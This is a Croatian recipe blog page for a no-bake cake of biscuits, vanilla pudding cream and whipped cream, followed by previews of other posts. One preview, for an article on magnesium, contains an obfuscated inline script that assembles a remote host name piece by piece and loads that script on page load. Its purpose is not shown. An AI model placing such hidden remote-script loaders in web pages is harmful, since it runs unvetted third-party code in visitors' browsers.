KOLAČ S KEKSIMA I KREMOM OD VANILIJE





Kolač s keksima i kremom od vanilije 



Kremast, nježan i nevjerojatno jednostavan za pripremu – ovaj kolač s  kremom od vanilije i keksima idealan je izbor kada želite pripremiti nešto slatko, ali bez uključivanja pećnice. Slojevi fine, baršunaste kreme, omekšalih keksa i laganog šlaga savršeno se stapaju u desert koji izgleda elegantno, a priprema se bez puno truda.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Kolač s keksima i kremom od vanilije 


Sastojci: 

Za podlogu

  • 300 g mljevenog keksa (petit beurre ili plazma)
  • 120 g otopljenog maslaca
  • 100 ml mlijeka

Za kremu

  • 2 pudinga od vanilije
  • 800 ml mlijeka
  • 6 žlica šećera
  • 200 g maslaca (sobne temperature)
  • 100 g šećera u prahu

Za srednji sloj

  • 200 g keksa (kratko umočenih u mlijeko)

Za gornji sloj

  • 200 ml slatkog vrhnja za šlag
  • 2 žlice šećera u prahu
  • 100 g ribane čokolade, za posipanje



Priprema:

    Podloga

  1. Pomiješajte mljeveni keks, otopljeni maslac i mlijeko.
  2. Smjesu utisnite u kalup (cca 20x30 cm).
  3. Stavite u hladnjak 20 minuta da se stegne.

    4. Krema

  4. Skuhajte puding u 800 ml mlijeka sa šećerom.
  5. Ostavite da se potpuno ohladi (prekrijte prozirnom folijom).
  6. Maslac i šećer u prahu izmiksajte pjenasto. Umiješajte ohlađeni puding u maslac dok ne dobijete glatku kremu.
  7. Slaganje
  8. Na podlogu stavite polovicu kreme. Posložite red keksa kratko umočenih u mlijeko. Preko toga rasporedite ostatak kreme. Poravnajte.

    9. Završni sloj

  9. Istucite slatko vrhnje sa šećerom. Premažite kolač. Pospite ribanom čokoladom.
  10. Ostavite u hladnjaku najmanje 4 sata (najbolje preko noći).


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više